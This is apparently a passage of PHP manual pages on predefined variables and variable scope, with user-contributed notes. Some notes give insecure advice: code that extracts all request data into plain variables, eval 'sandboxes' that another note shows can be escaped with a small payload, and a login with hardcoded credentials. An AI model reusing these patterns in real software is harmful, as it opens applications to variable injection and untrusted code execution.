print_r($_GET); print('<br>');
print_r($_REQUEST);
?>

output:
Array ( [avar] => 'b' )
Array ( [avar] => 'abc' )
sendoshin[at]noodleroni[dot]com 27-Apr-2005 02:58
There is one way to safely execute PHP code files without running the risk of compromising your own code.  A prior note pointed out that the code being evaluated would still have access to globals using the global keyword.  While this is a valid point, there's one other approach to be looked at - one which actually gives you much more ability than just unsetting some variable references.  It's known as code parsing.

The specifics would be different and much more complex in a deployed site, but here's an extremely strip-down example of how to restrict access to global variables:

<?php
    while ($x = stristr ($code_to_eval, "global")) {
        $temp = substr ($code_to_eval, 1, $x-1);
        $temp .= substr ($code_to_eval, stristr ($code_to_eval, ";", $x) + 1);
        $code_to_eval = $temp;
    }
    $ret_val = eval ($code_to_eval);
?>

Of course, that's just a rudimentary example, and a deployment version would have much more checking involved, but parsing the file before you eval it lets you remove any code you don't want to let run, thus making it as safe as your parsing rules.
lanny at freemail dot hu 10-Apr-2005 11:32
From PHP 5.0.3 long predefined arrays such HTTP_GET_VARS got disabled by default. For backward compatibility you can enable them in php.ini:

register_long_arrays = On

I sugget a big WARNING up there like that one with the resister_globals.

Anyway.. I cannot understand why they do such tings all the time.
16-Feb-2005 01:35
php.net uses this

// Backward compatible array creation. After this point, the
// PHP 4.1.0+ arrays can be used to access variables coming
// from outside PHP. But it should be noted that these variables
// are not necessarily superglobals, so they need to be global-ed!
if (!isset($_SERVER))
{
    $_GET     = &$HTTP_GET_VARS;
    $_POST    = &$HTTP_POST_VARS;
    $_ENV     = &$HTTP_ENV_VARS;
    $_SERVER  = &$HTTP_SERVER_VARS;
    $_COOKIE  = &$HTTP_COOKIE_VARS;
    $_REQUEST = array_merge($_GET, $_POST, $_COOKIE);
}

$PHP_SELF = $_SERVER['PHP_SELF'];
kasey at cornerspeed dowt com 15-Jun-2004 02:33
I have a few points to note to (debabratak at softhome dot net).  Firstly, extracting all your variables from the global variable arrays is rather cumbersome and possibly unsafe.  This causes longer run times, and wastes more memory.  Then, your script is starting the session before it parses the superglobals.  Bad things can happen because of this:

<?php

// user sent a GET header with key = secret_access, val = true, so

echo $_GET["secret_access"]; // output: true
echo $secret_access; // output:

session_start();

// in previous logic, you set session variable $secret_access = false

echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: false

extract_globals();  // Globals put into "normal" variables

echo $_GET["secret_access"]; // output: true
echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: true

// VARIABLES ARE COMPROMISED!
// DO NOT USE $secret_access !
// USE $_SESSION["secret_access"] instead !!!

?>

Secondly, I would like to point out the fact that all $_POST, $_GET, and $_COOKIE variables are intrinsically unsafe anyway.  Users can create their own scripts in the language of their choosing (PHP, ASP, JSP, etc.) that generate those headers to send to your PHP program via socket connections.  PHP cannot determine that these headers are any less valid than the ones sent by a web browser, so it parses them and places them in the $_POST, $_GET, or $_COOKIE variables.

The best practice is to use $_SESSION variables to validate the user before making any decisions based on form data.  e.g.:

<?php
session_start();
if (isset($_SESSION["valid"]))
{
    // all your program decisions and database interactions can go here
    if (isset($_POST["button_name"]))
    {
        ...
    }
    ...
}
elseif (isset($_POST["submit_login"]))
{
    if (($_POST["username"] == "foo") AND ($_POST["password"] == "bar"))
    {
        $_SESSION["valid"] = true;
        ...
    }
    else
    {
        session_unset();
        session_destroy();
        $error_msg = "Invalid username or password";
        $result_page = "login.php";
    }
}
elseif (isset($logoff))
{
    session_unset();
    session_destroy();
    $success_msg = "You have logged off successfully";
    $result_page = "login.php";
}
else
{
    session_unset();
    session_destroy();
    $result_page = "login.php";
}
require ($result_page);
?>

Session variables are orders of magnitude harder to compromise than POST, GET, and COOKIE data, since the server keeps track of session id's, and the session id is unique to each client and somewhat randomly generated.  If security is an ultimate concern, then you need to use SSL in case your traffic can be sniffed (since the session cookie is passed plain text to the client).

In summary, extracting out all the superglobals to normal variable names is not a good idea for reasons of security and ambiguity, not to mention wasted CPU cycles.  For private applications (ones that you don't want just anyone to be able to access), the only ways you can prevent malicious access is to 1) use sessions to ensure that the user is valid (for that page), and 2) use SSL-encryption to prevent session-hijacking.

Kasey

in reply to:
--------------------------------------------------------------
 debabratak at softhome dot net
14-Mar-2003 12:59
After having register_globals = off, I am using the following piece of code to get all the variables created for me. I have put this code in a separate file and just make it require_once() on top of every page.

session_start();
$ArrayList = array("_GET", "_POST", "_SESSION", "_COOKIE", "_SERVER");
foreach($ArrayList as $gblArray)
{
   $keys = array_keys($$gblArray);
   foreach($keys as $key)
   {
       $$key = trim(${$gblArray}[$key]);
   }
}

This pulls out all the possible variables for me, including the predefined variables, so I can keep coding the old style. Note that, this code does not handle the $_FILE.

Hope this helps someone.
bryan at nolifeline dot com 10-May-2004 09:07
to marcbender at mail dot com

unset the globals

use a preg_replace ( pattern: |\;[^\;]*$i[^\;]*\;|Uis, replacement: ";", where $i is the name of any function/variable you wish to prevent access to.) on the code-to-be-evaled.  ideas are "global", "fopen", "mysql_connect", etc.  You know, anything that you wouldn't want to give a hyperactive 13 year old access to.

execute the code.
marcbender_AT_mail_DOT_com 18-Apr-2004 11:23
-Security issue-

In response to lopez at yellowspace,

You provided a method for executing potentially unsafe code:

> function safeEval($evalcode) {
>    unset($GLOBALS);
>    unset($_ENV);
>    // unset any other superglobal...
>    return eval($evalcode);
> }

Your method, though clever, won't work.  The problem is the way that PHP handles function scope.  If $evalcode contains a function declaration, and runs that function, the "unset"s will be effectively useless inside the body of that function.

Try running the above code with $evalcode set as follows:

<?php
$evalcode='f();
function f() {
   $GLOBALS["_SERVER"] = "compromised";
}';
?>

Then print $_SERVER and see what you get.

Another problem is that the "global" directive will always grant access to global variables.  Try this one:

<?php
$evalcode='global $a;
$a = "compromised";';
?>

$a will of course be changed at the global level.  I don't know if it's supposed to work this way, but on my system (PHP 4.3.4) you can do the same to any superglobal by importing it using "global".

As far as I can tell, there is NO way to execute potentially unsafe code without a lot of risk.  With the sloppy way that PHP deals with function scope etc., there isn't much hope that it ever will be.  What we'd need is (at least):
  - a way to disable the "global" directive (restrictive eval).
  - a way to shut off any write-access to superglobals within untrusted functions.

The first wouldn't be too hard to implement.  The second, on the other hand, is practically impossible IMHO.
mark at pitchpipe dot org 26-Oct-2003 07:21
I had always mistakenly assumed that superglobal $_COOKIE (while preferred) was identical to the outdated $HTTP_COOKIE_VARS.  However, if you assign:

$_COOKIE['destroyWorld'] = "true";
if (isset($HTTP_COOKIE_VARS['destroyWorld'])) {
   $temp =& new Armeggedon();
   $temp->pushRedButton();
 }

then the world will be safe forever.  Might throw off a newbie, or someone like me who was updating really old code bit-by-bit.
wagner at cesnet dot cz 29-Sep-2003 05:15
The redirected pages by response codes 301, 302, 303 change the request method always to GET, that's why $HTTP_POST_VARS are lost. It is described in Apache documentation.
joker at vip dot hr 09-Sep-2003 04:42
If anyone of you have a problem with uploading files with globals off here is the solution... just add this to the top of the code:

reset ($_FILES);
while (list ($key, $val) = each ($_FILES)) {
    ${$key}=$_FILES[$key]['tmp_name'];
    while (list ($key1, $val1) = each ($val)) {
        ${$key."_".$key1}=$_FILES[$key][$key1];
    }
}

   Daniel
alexsp at olywa dot net 03-May-2003 04:26
For those of us who don't have the luxery of upgrading to the latest version of PHP on all of the servers we use but want to use the same variable names that are used in the latest version for super global arrays here's a snippet of code that will help:
    // Makes available those super global arrays that are made available
    // in versions of PHP after v4.1.0.
    if (isset ($HTTP_SERVER_VARS))
    {
        $_SERVER = &$HTTP_SERVER_VARS;
    }

    if (isset ($HTTP_GET_VARS))
    {
        $_GET = &$HTTP_GET_VARS;
    }

    if (isset ($HTTP_POST_VARS))
    {
        $_POST = &$HTTP_POST_VARS;
    }

    if (isset ($HTTP_COOKIE_VARS))
    {
        $_COOKIE = &$HTTP_COOKIE_VARS;
    }

    if (isset ($HTTP_POST_FILES))
    {
        $_FILES = &$HTTP_POST_FILES;
    }

    if (isset ($HTTP_ENV_VARS))
    {
        $_ENV = &$HTTP_ENV_VARS;
    }

    if (isset ($HTTP_SESSION_VARS))
    {
        $_SESSION = &$HTTP_SESSION_VARS;
    }
The only downfall to this is that there's no way to make them super global. Chances are, though, if you're using a lot of global arrays in your code you should consider a code redesign!  :)  Hope this helps.
01-May-2003 06:06
In reply to destes at ix dot netcom dot com dot nospam:

It's possible for a HTTP client to spoof HTTP_X_FORWARDED_FOR, and set it to a fake IP number.  It's more secure to use this code and log BOTH the ip and the proxy ip.

if ($_SERVER["HTTP_X_FORWARDED_FOR"]) {
   if ($_SERVER["HTTP_CLIENT_IP"]) {
    $proxy = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $proxy = $_SERVER["REMOTE_ADDR"];
  }
  $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
  if ($_SERVER["HTTP_CLIENT_IP"]) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $ip = $_SERVER["REMOTE_ADDR"];
  }
}

echo "Your IP $ip<BR>\n";
if (isset($proxy)) {
  echo "Your proxy IP is $proxy<BR>\n";
}
LouisGreen at pljg dot freeserve dot co dot uk 25-Mar-2003 07:22
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $variable;
}

echo fn();
OR
$newvariable = fn();

Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically when accessing the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
Good Liam 19-Mar-2003 06:18
Warning:
If you use dynamic variables in a local scope, the variable doesn't "know" when it should be a superglobal.  An example will help elucidate this:

function Example($Variable_Name='_POST') {
    print_r($$Variable_Name);
} // End Example

This would print out

NULL

To use a dynamic variable to reference a superglobal, you have to declare the value (not the name) as a global:

function WorkingExample($Variable_Name='_POST') {
    global $$Variable_Name;
    print_r($$Variable_Name);
} // End WorkingExample()

This would print out the contents of your $_POST variable.

This threw me when I first tried it, but it makes sense, in a way.
LouisGreen at pljg dot freeserve dot co dot uk 12-Mar-2003 11:36
If you require access to Predefined Variables in different PHP/ servers versions and don't wish to mess about with how you access them, this little snippet of code might help you:

function fn_http_vars_access() {

   global $GET_VARS, $POST_VARS, $COOKIE_VARS, $SESSION_VARS, $SERVER_VARS, $ENV_VARS;

   $parser_version = phpversion();

   if ($parser_version <= "4.1.0") {
      $GET_VARS      = $GET_VARS;
      $POST_VARS     = $POST_VARS;
      $COOKIE_VARS   = $COOKIE_VARS;
      $SESSION_VARS  = $HTTP_SESSION_VARS;
      $SERVER_VARS   = $HTTP_SERVER_VARS;
      $ENV_VARS      = $HTTP_ENV_VARS;
   }
   if ($parser_version >= "4.1.0") {
      $GET_VARS      = $_GET;
      $POST_VARS     = $_POST;
      $COOKIE_VARS   = $_COOKIE;
      $SESSION_VARS  = $_SESSION;
      $SERVER_VARS   = $_SERVER;
      $ENV_VARS      = $_ENV;
   }
}

fn_http_vars_access();
12-Feb-2003 07:12
i just noticed that the free web server i'm running my scripts on still only knows the deprecated variable names (i.e. it uses $HTTP_POST_VARS instead of $_POST). to make scripts work both on updated servers and servers that are a bit out of date, i now use:

$variablename=(isset($_POST["variablename"])) ? $_POST["variablename"] : $HTTP_POST_VARS["variablename"];
lopez dot on dot the dot lists at yellowspace dot net 18-Jan-2003 03:11
- Security Issue and workaround -
If You use "eval()" to execute code stored in a database or elsewhere, you might find this tip useful.

Issue:
By default, all superglobals are known in every function.
Thus, if you eval database- or dynamically generated code (let's call it "potentially unsafe code"), it can use _all_ the values stored in _any_ superglobal.

Workaround:
Whenever you want to hide superglobals from use in evaluated code, wrap that eval() in an own function within which you unset() all the superglobals. The superglobals are not deleted by php in all scopes - just within that function. eg:

function safeEval($evalcode) {
    unset($GLOBALS);
    unset($_ENV);
    // unset any other superglobal...
    return eval($evalcode);
}

(This example assumes that the eval returns something with 'return')

In addition, by defining such a function outside classes, in the global scope, you'll make sure as well that the evaluated ('unsafe') code doesn't have access to the object variables ($this-> ...).
08-Jul-2002 10:46
Wouldn't it be great if there was a variable called $_SERVER["PATH_USERHOME"]. Here is how to set it yourself:

$path_fs = split ("/", ltrim ($_SERVER["PATH_TRANSLATED"], "/"));
$path_fs_rev = array_reverse ($path_fs);

$path_http = split ("/", ltrim ($_SERVER["PHP_SELF"], "/"));
$path_http_rev = array_reverse ($path_http);

$num_same = 0;
while ($path_fs_rev[$num_same] == $path_http_rev[$num_same]) {
    $num_same++;
}

$path_userhome = array ();
$numdirs_userhome = sizeof ($path_http) - $num_same;
echo $numdirs_userhome;

for ($i = 0; $i < $numdirs_userhome; $i++) {
    array_push ($path_userhome, $path_http[$i]);
}

$_SERVER["PATH_USERHOME"] = "/" . implode ("/", $path_userhome) . "/";

print_r ($_SERVER["PATH_USERHOME"]);

;) Happy programming,

Peder
juancri at TAGnet dot org 01-Jun-2002 05:52
If you try this:

<FORM action="hola">
  ....
</FORM>

and hola is a directory, you have to write the final slash (/) because the page is redirected from hola to hola/ and you'll lost the POST variables.
rick@independence,netI 24-Jul-2001 03:13
It should be noted that $HTTP_RAW_POST_DATA only exists if the encoding type of the data is -not- the default of application/x-www.form-urlencoded, and so, to accessing raw post data from an HTTP form requires setting enctype= in your HTML.
mike at dbeat dot com 23-Nov-2000 03:30
If you're running PHP as a shell script, and you want to use the argv and argc arrays to get command-line arguments, make sure you have register_argc_argv  =  on.  If you're using the 'optimized' php.ini, this defaults to off.


Variable scope

The scope of a variable is the context within which it is defined. For the most part all PHP variables only have a single scope. This single scope spans included and required files as well. For example:

<?php
$a = 1;
include 'b.inc';
?>

Here the $a variable will be available within the included b.inc script. However, within user-defined functions a local function scope is introduced. Any variable used inside a function is by default limited to the local function scope. For example:

<?php
$a = 1; /* global scope */

function test()
{
    echo $a; /* reference to local scope variable */
}

test();
?>

This script will not produce any output because the echo statement refers to a local version of the $a variable, and it has not been assigned a value within this scope. You may notice that this is a little bit different from the C language in that global variables in C are automatically available to functions unless specifically overridden by a local definition. This can cause some problems in that people may inadvertently change a global variable. In PHP global variables must be declared global inside a function if they are going to be used in that function.

The global keyword

First, an example use of global:

Example #1 Using global

<?php
$a = 1;
$b = 2;

function Sum()
{
    global $a, $b;

    $b = $a + $b;
}

Sum();
echo $b;
?>

The above script will output 3. By declaring $a and $b global within the function, all references to either variable will refer to the global version. There is no limit to the number of global variables that can be manipulated by a function.

A second way to access variables from the global scope is to use the special PHP-defined $GLOBALS array. The previous example can be rewritten as:

Example #2 Using $GLOBALS instead of global

<?php
$a = 1;
$b = 2;

function Sum()
{
    $GLOBALS['b'] = $GLOBALS['a'] + $GLOBALS['b'];
}

Sum();
echo $b;
?>

The $GLOBALS array is an associative array with the name of the global variable being the key and the contents of that variable being the value of the array element. Notice how $GLOBALS exists in any scope, this is because $GLOBALS is a superglobal. Here's an example demonstrating the power of superglobals:

Example #3 Example demonstrating superglobals and scope

<?php
function test_global()
{
    // Most predefined variables aren't "super" and require
    // 'global' to be available to the functions local scope.
    global $HTTP_POST_VARS;

    echo $HTTP_POST_VARS['name'];

    // Superglobals are available in any scope and do
    // not require 'global'. Superglobals are available
    // as of PHP 4.1.0, and HTTP_POST_VARS is now
    // deemed deprecated.
    echo $_POST['name'];
}
?>

Note:

Using global keyword outside a function is not an error. It can be used if the file is included from inside a function.

Using static variables

Another important feature of variable scoping is the static variable. A static variable exists only in a local function scope, but it does not lose its value when program execution leaves this scope. Consider the following example:

Example #4 Example demonstrating need for static variables

<?php
function test()
{
    $a = 0;
    echo $a;
    $a++;
}
?>

This function is quite useless since every time it is called it sets $a to 0 and prints 0. The $a++ which increments the variable serves no purpose since as soon as the function exits the $a variable disappears. To make a useful counting function which will not lose track of the current count, the $a variable is declared static:

Example #5 Example use of static variables

<?php
function test()
{
    static $a = 0;
    echo $a;
    $a++;
}
?>

Now, $a is initialized only in first call of function and every time the test() function is called it will print the value of $a and increment it.

Static variables also provide one way to deal with recursive functions. A recursive function is one which calls itself. Care must be taken when writing a recursive function because it is possible to make it recurse indefinitely. You must make sure you have an adequate way of terminating the recursion. The following simple function recursively counts to 10, using the static variable $count to know when to stop:

Example #6 Static variables with recursive functions

<?php
function test()
{
    static $count = 0;

    $count++;
    echo $count;
    if ($count < 10) {
        test();
    }
    $count--;
}
?>

Note:

Static variables may be declared as seen in the examples above. Trying to assign values to these variables which are the result of expressions will cause a parse error.

Example #7 Declaring static variables

<?php
function foo(){
    static $int = 0;          // correct
    static $int = 1+2;        // wrong  (as it is an expression)
    static $int = sqrt(121);  // wrong  (as it is an expression too)

    $int++;
    echo $int;
}
?>

Note:

Static declarations are resolved in compile-time.

References with global and static variables

The Zend Engine 1, driving PHP 4, implements the static and global modifier for variables in terms of references. For example, a true global variable imported inside a function scope with the global statement actually creates a reference to the global variable. This can lead to unexpected behaviour which the following example addresses:

<?php
function test_global_ref() {
    global $obj;
    $obj = &new stdclass;
}

function test_global_noref() {
    global $obj;
    $obj = new stdclass;
}

test_global_ref();
var_dump($obj);
test_global_noref();
var_dump($obj);
?>

The above example will output:

NULL
object(stdClass)(0) {
}

A similar behaviour applies to the static statement. References are not stored statically:

<?php
function &get_instance_ref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // Assign a reference to the static variable
        $obj = &new stdclass;
    }
    $obj->property++;
    return $obj;
}

function &get_instance_noref() {
    static $obj;

    echo 'Static object: ';
    var_dump($obj);
    if (!isset($obj)) {
        // Assign the object to the static variable
        $obj = new stdclass;
    }
    $obj->property++;
    return $obj;
}

$obj1 = get_instance_ref();
$still_obj1 = get_instance_ref();
echo "\n";
$obj2 = get_instance_noref();
$still_obj2 = get_instance_noref();
?>

The above example will output:

Static object: NULL
Static object: NULL

Static object: NULL
Static object: object(stdClass)(1) {
["property"]=>
int(1)
}

This example demonstrates that when assigning a reference to a static variable, it's not remembered when you call the &get_instance_ref() function a second time.

User Contributed Notes

Anonymous 23-May-2014 09:35
Exemplo #6 don't work on portuguese version.

You need to call Teste() function, not Test()
Jonathan Kenigson 17-Dec-2013 08:09
Just a note about static properties declared at class level:

class Test_Class {
  static $a = 0;
  public function ReturnVar(){
    return $this->a;
  }
  }
  $b = new Test_Class();
  echo $b->ReturnVar();

Will not output "0"  because $a is declared static. Changing "static" to "public" or "private" will produce the output "0".
Ray.Paseur often uses Gmail 07-Dec-2013 01:32
Variable "Visibility" in PHP Object Oriented Programming is documented here:
http://php.net/manual/en/language.oop5.visibility.php
Tomas Binek 04-Oct-2013 10:31
Be careful when using autoloaders:
Any variables that are declared in autoloaded files in global context are in fact local variables to the autoload function.
Suggestion:
Use explicit global keyword even in global context of a file.
Anonymous 01-Sep-2013 06:27
<?php

// if you really want to create a variable within its own scope
// that does not have access to variables outside its scope create a function

$var = "hello";

$func = function(){

      // declare variables here that will only last throughout this scope

     if( !isset($var) ) // var will not be set in this scope
     {
        $var = "i was out of scope";
     }

      echo $var;

};

echo "$var<br />";

$func(); // invoke the function

echo "<br />".'$var'." never changed from $var";

?>

outputs :

hello
i was out of scope
$var never changed from hello
warbo 22-Jan-2013 03:01
An alternative to static variables is to use an anonymous function. Here's an example with a simple counter which goes up on each call:

<?php

// Static version
$staticCounter = function() {
    // Make $a static, so its value is preserved
    static $a = 0;
    $a++;
    return $a;
};
echo $staticCounter();
echo $staticCounter();
echo $staticCounter();
// Output:
// 1
// 2
// 3

// Closure version
$counterFactory = function () {
    // We *assign* $a in this function
    $a = 0;
    return function() use (&$a) {  // Notice the &
        // We *use* $a in this function
        $a++;
        return $a;
    };
};
// The above is a 'counter factory'; when called it returns a counter
$closureCounter1 = $counterFactory();
echo $closureCounter1();
echo $closureCounter1();
echo $closureCounter1();
// Output:
// 1
// 2
// 3

// If we call our 'factory' again, we get another counter, independent of the first
$closureCounter2 = $counterFactory();
echo $closureCounter1();
echo $closureCounter2();
echo $closureCounter1();
echo $closureCounter2();
// Output (notice that we're calling both counters)
// 4
// 1
// 5
// 2

// We can do it with arguments too
$makeCounterFrom = function($start) {
    return function() use (&$start) {
        $start++;
        return $start;
    };
};
$yearCounter = $makeCounterFrom(2012);
echo $yearCounter();
echo $yearCounter();
// Output
// 2013
// 2014
?>

This use of closures may be familiar from Javascript's 'one-shot' functions "(function() {...})()". In PHP we can do this on 2 lines using a variable, or with 'call_user_func'.

It's useful when a regular function isn't enough, but a whole class is overkill.
pangxiezhou at gmail dot com 20-Jul-2012 11:16
assign after static variable declare：

<?php
        function test() {
                static $local_var=0;
                $local_var=9;
                echo $local_var++;
            }
        test();
        test();

?>

output:
99

<?php
        function test() {
                static $local_var=0;
                $local_var+=3;
                echo $local_var++;
            }
        test();
        test();

?>

output:
37
Anonymous 05-Jul-2012 08:54
It will be obvious for most of you: changing value of a static in one instance changes value in all instances.

<?php

    class example {
        public static $s = 'unchanged';

        public function set() {
            $this::$s = 'changed';
        }
    }

    $o = new example;
    $p = new example;

    $o->set();

    print "$o static: {$o::$i}\n$p static: {$p::$i}";

?>

Output will be:

$o static: changed
$p static: changed
sideshowAnthony at googlemail dot com 17-Oct-2011 11:04
It can be nice to use static variables in class member functions.
This avoids a 'class global' like $this->template.
Also, I like the system of get and set using the same function.

<?php

class my_page
{
    public function template($name=null)
    {
        static $template = 'templates/page.html';
        if ($name) $template = "templates/{$name}.html";
        else return $template;
    }
}

$p = new my_page;
$p->template('product');
include $p->template();

?>
dodothedreamer at gmail dot com 26-Sep-2011 08:56
Note that unlike Java and C++, variables declared inside blocks such as loops or if's, will also be recognized and accessible outside of the block, so:
<?php
for($j=0; $j<3; $j++)
{
     if($j == 1)
        $a = 4;
}
echo $a;
?>

Would print 4.
travesty3 at gmail dot com 06-Jan-2011 12:39
I was struggling forever to figure this out and finally tried the $GLOBALS["filename"] = $filename approach, and it worked for me.

This happens on one of my machines, on which I installed Zend AMF a few months before my most recent machine. The globals worked fine when calling the PHP script directly from a browser, but when I called the function from my Flash project, which uses Zend AMF to interface with the PHP script, I was seeing this problem, but it was fixed using this approach.
php at keith tyler dot com 12-Nov-2010 07:37
Sometimes a variable available in global scope is not accessible via the 'global' keyword or the $GLOBALS superglobal array. I have not been able to replicate it in original code, but it occurs when a script is run under PHPUnit.

PHPUnit provides a variable "$filename" that reflects the name of the file loaded on its command line. This is available in global scope, but not in object scope. For example, the following phpUnit script (call it GlobalScope.php):

<?php
print "Global scope FILENAME [$filename]\n";
class MyTestClass extends PHPUnit_Framework_TestCase {
  function testMyTest() {
    global $filename;
    print "Method scope global FILENAME [$filename]\n";
    print "Method scope GLOBALS[FILENAME] [".$GLOBALS["filename"]."]\n";
  }
}
?>

If you run this script via "phpunit GlobalScope.php", you will get:

Global scope FILENAME [/home/ktyler/GlobalScope.php]
PHPUnit 3.4.5 by Sebastian Bergmann.

Method scope global FILENAME []
Method scope GLOBALS[FILENAME] []
.

You have to -- strange as it seems -- do the following:

<?php
$GLOBALS["filename"]=$filename;
print "Global scope FILENAME [$filename]\n";
class MyTestClass extends PHPUnit_Framework_TestCase {
  function testMyTest() {
    global $filename;
    print "Method scope global FILENAME [$filename]\n";
    print "Method scope GLOBALS[FILENAME] [".$GLOBALS["filename"]."]\n";
  }
}
?>

By doing this, both "global" and $GLOBALS work!

I don't know what it is that PHPUnit does (I know it uses Reflection) that causes a globally available variable to be implicitly unavailable via "global" or $GLOBALS. But there it is.
eduardo dot ferron at zeion dot net 07-Oct-2010 03:02
There're times when global variables comes in handy, like universal read only resources you just need to create once in your application and share to the rest of your scripts. But it may become quite hard to track with "variables".
pedro at worcel dot com 26-Jul-2010 03:34
Another way of working with a large ammount of global variables could be the following.

<?php

$var = "3";
$smarty = new Smarty();

function headers_set_404() {
extract($globals);

echo $var . "<br />";
print_r($smarty);

return;

}

?>

Regards,
Droope
HOSSEIN doesn&#39;t want spam at TAKI.IR 09-Jul-2010 09:26
Please note for using global variable in child functions:

This won't work correctly...

<?php
function foo(){
    $f_a = 'a';

    function bar(){
        global $f_a;
        echo '"f_a" in BAR is: ' . $f_a . '<br />';  // doesn't work, var is empty!
    }

    bar();
    echo '"f_a" in FOO is: ' . $f_a . '<br />';
}
?>

This will...

<?php
function foo(){
    global $f_a;   // <- Notice to this
    $f_a = 'a';

    function bar(){
        global $f_a;
        echo '"f_a" in BAR is: ' . $f_a . '<br />';  // work!, var is 'a'
    }

    bar();
    echo '"f_a" in FOO is: ' . $f_a . '<br />';
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 24-Jun-2010 11:59
If you use __autoload function to load classes' definitons, beware that "static local variables are resolved at compile time" (whatever it really means) and the order in which autoloads occur may impact the semantic.

For example if you have:
<?php
class Singleton{
  static public function get_instance(){
     static $instance = null;
     if($instance === null){
        $instance = new static();
     }
     return $instance;
  }
}
?>

and two separate files A.php and B.php:
class A extends Singleton{}
class B extends A{}

then depending on the order in which you access those two classes, and consequently, the order in which __autoload includes them, you can get strange results of calling B::get_instance() and A::get_instance().

It seems that static local variables are alocated in as many copies as there are classes that inherit a method at the time of inclusion of parsing Singleton.
moraesdno at gmail dot com 26-Oct-2009 02:17
Use the superglobal array $GLOBALS is faster than the global keyword. See:

<?php
//Using the keyword global
$a=1;
$b=2;
function sum() {
    global $a, $b;
    $a += $b;
}

 $t = microtime(true);
 for($i=0; $i<1000; $i++) {
     sum();
 }
 echo microtime(true)-$t;
 echo " -- ".$a."<br>";

//Using the superglobal array
$a=1;
$b=2;
function sum2() {
    $GLOBALS['a'] += $GLOBALS['b'];
}

  $t = microtime(true);
 for($i=0; $i<1000; $i++) {
     sum2();
 }
 echo microtime(true)-$t;
 echo " -- ".$a."<br>";
?>
Stephen Dewey 12-Aug-2009 05:06
For nested functions:

This is probably obvious to most people, but global always refers to the variable in the global (top level) variable of that name, not just a variable in a higher-level scope. So this will not work:
<?php

// $var1 is not declared in the global scope

function a($var1){

    function b(){
        global $var1;
        echo $var1; // there is no var1 in the global scope so nothing to echo

    }

    b();
}

a('hello');

?>
akam at akameng dot com 12-Jul-2009 04:39
Many Times Globality of variables will be the small issue, after long time I decided to use super globals.

Super globals exists any where:
$_SERVER, $_GET, $_POST .....

Now for example:

<?php
$foo[] = range(0, 3);
$_POST['foo'] = $foo;
a(); //no parameters needed.
b();
$foo = $_POST['foo'];

Print_r($foo);
/* out

Array
(
    [0] => Array
        (
            [0] => 0
            [1] => 1
            [2] => 2
            [3] => 3
        )

    [1] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
            [3] => 7
        )

    [2] => Array
        (
            [0] => 8
            [1] => 9
            [2] => 10
        )

)

*/
function a(){
    $_POST['foo'][] = range(4, 7);
}

function b(){
$_POST['foo'][] = range(8, 10);
}
?>
Note: the key must not be passed by the page via _POST method by the form, else the value will be over written
emartin at sigb dot net 03-Jul-2009 04:32
If you are used to include files which declare global variables, and if you now need to include these files in a function, you will see that those globals are declared in the function's scope and so they will be lost at the end of the function.

You may use something like this to solve this problem:

main_file.php :
<?php

//Some innocent variables which exist before the problem
$a = 42;
$b = 33;
$c = 56;

function some_function() {
    //Some variables that we don't want out of the function
    $saucisse = "saucisse";
    $jambon = "jambon";

    //Let's include another file
    $evalt = "require_once 'anothertest_include.php';";
    $before_eval_vars = get_defined_vars();
    eval($evalt);

    //Let's extract the variables that were defined AFTER the call to 'eval'
    $function_variable_names = array("function_variable_names" => 0, "before_eval_vars" => 0, "created" => 0);
    //We can generate a list of the newly created variables by substracting the list of the variables of the function and the list of the variables which existed before the call to the list of current variables at this point
    $created = array_diff_key(get_defined_vars(), $GLOBALS, $function_variable_names, $before_eval_vars);
    //Now we globalize them
    foreach ($created as $created_name => $on_sen_fiche)
        global $$created_name;
    //And we affect them
    extract($created);

}

some_function();
print_r(get_defined_vars());

?>

included_file.php :
<?php

//Some variables that we want in the global scope of main_file.php
$included_var_one = 123;
$included_var_two = 465;
$included_var_three = 789;

?>
Leigh Harrison 26-Mar-2009 07:31
External variables in a function

I needed to access dynamically-created variables from an included file within a helper function. Because the list of $path_* variables I needed to access from the other file is itself dynamic, I didn't want to have to declare all possible variables within the function, and I was concerned at the overhead of declaring =all= members of $GLOBALS[] as global. However the following code worked for me:

<?php
  function makePath($root, $atom) {
    $pos = strrpos($atom, '/');
    if ($pos === false) {
      global ${'path_'.$atom};
      $path = ${'path_'.$atom};
    }
    else {
      global ${'path_'.substr($atom, 0, $pos)};
      $path = ${'path_'.substr($atom, 0, $pos)};
    }
    if ($path)
      return ($pos === false)
        ? $root.$path
        : $root.$path.substr($atom, $pos + 1);
    else
      return NULL;
  }
?>

Regards,

::Leigh
andrew at planetubh dot com 03-Feb-2009 09:16
Took me longer than I expected to figure this out, and thought others might find it useful.

I created a function (safeinclude), which I use to include files; it does processing before the file is actually included (determine full path, check it exists, etc).

Problem: Because the include was occurring inside the function, all of the variables inside the included file were inheriting the variable scope of the function; since the included files may or may not require global variables that are declared else where, it creates a problem.

Most places (including here) seem to address this issue by something such as:
<?php
//declare this before include
global $myVar;
//or declare this inside the include file
$nowglobal = $GLOBALS['myVar'];
?>

But, to make this work in this situation (where a standard PHP file is included within a function, being called from another PHP script; where it is important to have access to whatever global variables there may be)... it is not practical to employ the above method for EVERY variable in every PHP file being included by 'safeinclude', nor is it practical to staticly name every possible variable in the "global $this" approach. (namely because the code is modulized, and 'safeinclude' is meant to be generic)

